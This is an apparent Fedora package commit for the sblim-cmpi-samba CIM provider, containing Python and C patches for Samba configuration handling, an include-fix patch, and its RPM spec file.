! 	def get_option(self,share,option):
! 		try:
! 			return self.__get_option(share,option)
! 		except KeyError:
! 			return ENOOPT
! 
! 	def get_option_merge(self,share,option):
! 		if share == "global":
! 			return self.__get_option(share,option)
! 		else:
! 			try:
! 				return self.__get_option(share,option)
! 			except KeyError:
! 				try:
! 					return self.__get_option("global",option)
! 				except KeyError:
! 					return ENOOPT
! 
! 	def lines(self,share):
! 		self.file = file(self.filename)
! 		inshare = 0
! 		lines = -1 
! 		linestart = -1
! 		lineend = -1
! 		for line in self.file.xreadlines():
! 			lines = lines + 1
! 			try:
! 				sh = self.share.search(line).groups()[0]
! 				if (sh == share):
! 					linestart = lines
! 					inshare = 1
! 				elif inshare:
! 						lineend = lines 
! 						inshare = 0
! 			except:
! 				continue
! 
! 		if (linestart == -1):
! 			return 0
! 		if (lineend == -1):
! 			lineend = lines +1 ;
! 
! 		self.file.close()
! 		return linestart,lineend
! 			
! 	def enable(self,share):
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (self.share.search(file_lines[i]) or self.opts.search(file_lines[i])):
! 				file_lines[i] = self.comment.sub("",file_lines[i])
! 
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 			
! 		self.file.close()
! 		return 0
! 		
! 	def disable(self,share):	
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 			
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (not self.comment.search(file_lines[i])):
! 				file_lines[i] = "#" + file_lines[i]
! 
! 	
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 		
! 	def set_option(self,share,option,value):
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		found = 0
! 		#try to match the option in the options already placed in the file
! 		#if this is the case, replace it
! 		#if not, add a new one, placed at the end of the range given by lines
! 		for i in range(lines[0],lines[1]):
! 			try:
! 				if (self.opts.search(file_lines[i]).groups()[0] == option):
! 					file_lines[i] = self.opts.sub(r"\t\1 = " + value,file_lines[i])
! 					found = 1
! 					#break	
! 			except AttributeError:
! 				continue
! 
! 		if (not found):
! 			file_lines.insert(lines[1],"\t"+option+ " = " + value + "\n")
! 	
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 	
! 	def delete_share(self,share):	
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		file_lines[lines[0]:lines[1]] = []
! 
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 
! 	def create_share(self,share):
! 		pass
Index: resource-access/scripts/smt_smb_ra_get_user_mappings.py
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/resource-access/scripts/smt_smb_ra_get_user_mappings.py,v
retrieving revision 1.1
diff -c -r1.1 smt_smb_ra_get_user_mappings.py
*** resource-access/scripts/smt_smb_ra_get_user_mappings.py	18 Oct 2005 11:54:15 -0000	1.1
--- resource-access/scripts/smt_smb_ra_get_user_mappings.py	6 Dec 2007 17:06:41 -0000
***************
*** 18,24 ****
  #####################################################################
  
  from sys import argv,exit,stdin
! from os import write,close
  from smt_smb_ra_errors import *
  import re
  
--- 18,24 ----
  #####################################################################
  
  from sys import argv,exit,stdin
! from os import write,close,path
  from smt_smb_ra_errors import *
  import re
  
***************
*** 41,60 ****
          for k in self.right_side_group.findall(mline): d[k.strip()] = k.strip()
          return ["%s" % k.strip("\"") for k in d.itervalues()] 
  
-       
-     def parse(self):
  
!         f = open(self.fname,"r")
  
!         for line in f.readlines():
  
!             if self.comment.search(line): continue
!             elif self.valid.search(line):
!                 (k,v) = line.split("=")
!                 self.map_dic[k.strip()] = self.parse_right_side(v.strip())
!             else:
!                 write(pipeid,"EOF\n")
!                 exit(EINVAL)
  
      def get_users_map(self):
          return self.map_dic
--- 41,61 ----
          for k in self.right_side_group.findall(mline): d[k.strip()] = k.strip()
          return ["%s" % k.strip("\"") for k in d.itervalues()] 
  
  
!     def parse(self):
! 	if path.exists(self.fname):
!             f = open(self.fname,"r")
  
!             for line in f.readlines():
  
!                 if self.comment.search(line): continue
!                 elif self.valid.search(line):
!                     (k,v) = line.split("=")
!                     self.map_dic[k.strip()] = self.parse_right_side(v.strip())
!                 else:
!                     exit(EINVAL)
! 	else:
!     	    exit(EINVAL)
  
      def get_users_map(self):
          return self.map_dic
Index: resource-access/smt_smb_ra_support.c
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/resource-access/smt_smb_ra_support.c,v
retrieving revision 1.10
diff -c -r1.10 smt_smb_ra_support.c
*** resource-access/smt_smb_ra_support.c	14 Sep 2007 12:07:01 -0000	1.10
--- resource-access/smt_smb_ra_support.c	6 Dec 2007 17:06:41 -0000
***************
*** 1789,1798 ****
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (!strcasecmp("yes",printable) ||
! 	!strcasecmp(GLOBAL,all_services[i]) ) continue;
!     shares_list = (char**) realloc(shares_list,(j+2)*sizeof(char *));
!     shares_list[j++] = strdup(all_services[i]);
    }
  
    shares_list[j] = (char *) NULL;
--- 1789,1800 ----
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (strcasecmp(GLOBAL,all_services[i]) && (!printable || !strcasecmp("no",printable))) {
!         shares_list = (char**) realloc(shares_list,(j+2)*sizeof(char *));
!         shares_list[j++] = strdup(all_services[i]);
!     } else {
!         continue;
!     }
    }
  
    shares_list[j] = (char *) NULL;
***************
*** 1900,1906 ****
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (!strcasecmp("no",printable)) continue;
      printer_list = realloc(printer_list,(j+2)*sizeof(char *));
      printer_list[j++] = strdup(all_services[i]);
    }
--- 1902,1908 ----
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (!strcasecmp(GLOBAL,all_services[i]) || !printable || !strcasecmp("no",printable)) continue;
      printer_list = realloc(printer_list,(j+2)*sizeof(char *));
      printer_list[j++] = strdup(all_services[i]);
    }

sblim-cmpi-samba-0.5.2-include.patch:
 Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp           |    1 +
 Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp               |    1 +
 Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp             |    1 +
 Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp                 |    1 +
 Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp     |    2 ++
 Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp         |    2 ++
 Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp     |    2 ++
 Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp         |    2 ++
 Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp                                         |    2 ++
 Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp                           |    1 +
 Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp                       |    2 ++
 Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp |    2 ++
 Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp       |    2 ++
 Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp       |    2 ++
 Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp         |    2 ++
 Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp           |    2 ++
 Linux_SambaUser/Linux_SambaUserResourceAccess.cpp                                           |    2 ++
 support/smt_smb_array.cpp                                                                   |    3 +++
 18 files changed, 32 insertions(+)

--- NEW FILE sblim-cmpi-samba-0.5.2-include.patch ---
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:38.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -26,6 +26,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp_old	2007-08-27 10:18:39.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -26,6 +26,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:43.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -29,6 +29,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp_old	2007-08-27 10:18:44.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -29,6 +29,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp_old	2007-08-27 10:18:52.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaGlobalPrintingForGlobalResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:18:53.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp	2009-10-22 16:00:09.000000000 +0200
@@ -23,6 +23,8 @@
 //
 // 
 #include "Linux_SambaGlobalPrintingOptionsResourceAccess.h"
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaGlobalSecurityForGlobalResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:18:55.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp	2009-10-22 16:13:11.000000000 +0200
@@ -23,6 +23,8 @@
 //
 // 
 #include "Linux_SambaGlobalSecurityOptionsResourceAccess.h"
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp_old	2007-08-27 10:18:57.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -25,6 +25,7 @@
 #include "Linux_SambaGroupForUserResourceAccess.h"
 
 #include <errno.h>
+#include <cstdlib>
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp_old	2007-08-27 10:18:56.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp	2009-10-22 16:48:35.000000000 +0200
@@ -25,6 +25,8 @@
 #include "Linux_SambaGroupResourceAccess.h"
 
 #include <errno.h>
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp_old	2007-08-27 10:19:09.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp	2009-10-22 16:23:42.000000000 +0200
@@ -23,6 +23,8 @@
 //
 // 
 #include "Linux_SambaPrinterOptionsResourceAccess.h"
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp_old	2007-08-27 10:19:11.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaPrinterPrintingForPrinterResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp_old	2007-08-27 10:19:12.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp	2009-10-22 16:29:57.000000000 +0200
@@ -23,6 +23,8 @@
 //
 // 
 #include "Linux_SambaPrinterPrintingOptionsResourceAccess.h"
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaShareSecurityForGlobalResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -24,6 +24,8 @@
 // 
 #include "Linux_SambaShareSecurityForShareResourceAccess.h"
 
+#include <cstdlib>
+
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
 
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp	2009-10-22 16:36:58.000000000 +0200
@@ -23,6 +23,8 @@
 //
 // 
 #include "Linux_SambaShareSecurityOptionsResourceAccess.h"
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp
--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old	2007-08-27 10:19:26.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp	2009-10-22 16:56:30.000000000 +0200
@@ -25,6 +25,8 @@
 #include "Linux_SambaUserResourceAccess.h"
 
 #include <errno.h>
+#include <cstdlib>
+#include <cstdio>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
diff -up sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp
--- sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old	2006-07-22 16:34:26.000000000 +0200
+++ sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp	2009-10-22 15:48:49.000000000 +0200
@@ -25,6 +25,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-samba.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Name:           sblim-cmpi-samba
Version:        0.5.2
Release:        2%{?dist}
Summary:        SBLIM WBEM-SMT Samba

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-samba-0.2.3-model.patch
Patch1:         sblim-cmpi-samba-0.5.2-1769647-release.patch
Patch2:         sblim-cmpi-samba-0.5.2-include.patch

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  sblim-cmpi-devel
BuildRequires:  dos2unix
Requires:       sblim-tools-libra
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       samba >= 3.0.10
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-samba = %{version}

%description
The cmpi-samba package provides access to the samba configuration data
via CIMOM technology/infrastructure.
It contains the Samba CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Samba - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM WBEM-SMT Samba Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Samba - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM WBEM-SMT Samba Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p0 -b .model
%patch1 -p0 -b .1769647-release
%patch2 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/sblim-cmpi-samba-%{_arch}.conf
dos2unix $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_smb_ra_test.py

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,0755)
%doc %{_datadir}/doc/%{name}-%{version}
%{_datadir}/sblim-cmpi-samba
%{_libdir}/libRaToolsSmb.so.*
%{_libdir}/libLinux_SmbGeneralProviderBasic.so.*
%{_libdir}/libIBM_SmbProviderTooling.so.*
%config(noreplace) %{_sysconfdir}/smt_smb*.conf
%{_libdir}/cmpi/libcmpiLinux_Samba*.so
%{_libdir}/cmpi/libcmpiCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_smb*.h
%{_libdir}/libRaToolsSmb.so
%{_libdir}/libLinux_SmbGeneralProviderBasic.so
%{_libdir}/libIBM_SmbProviderTooling.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/system/linux/Linux_Samba*
%{_datadir}/sblim-testsuite/cim/Linux_Samba*
%{_datadir}/sblim-testsuite/xml/Linux_Samba*
%{_datadir}/sblim-testsuite/smbpasswd
%{_datadir}/sblim-testsuite/smbusers
%{_datadir}/sblim-testsuite/smb.conf
%{_datadir}/sblim-testsuite/test-cmpi-samba.sh
%{_datadir}/sblim-testsuite/test-cmpi-samba-associations.pl

# Conditional definition of schema and registration files
%define SAMBA_SCHEMA %{_datadir}/%{name}/Linux_Samba.mof
%define SAMBA_REGISTRATION %{_datadir}/%{name}/Linux_Samba.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SAMBA_REGISTRATION} -m %{SAMBA_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
%{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{SAMBA_REGISTRATION} -m %{SAMBA_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SAMBA_REGISTRATION} -m %{SAMBA_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%changelog
* Thu Oct 22 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-2
- Update "include" patch
- Remove *.pyc and *.pyo exclude from files

* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-samba/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:43:49 -0000	1.1
+++ sources	23 Oct 2009 08:31:19 -0000	1.2
@@ -0,0 +1 @@
+b847d8bc53e41a7d63d4fbf5d5ddffed  sblim-cmpi-samba-0.5.2.tar.bz2



From vcrhonek at fedoraproject.org  Fri Oct 23 08:32:29 2009
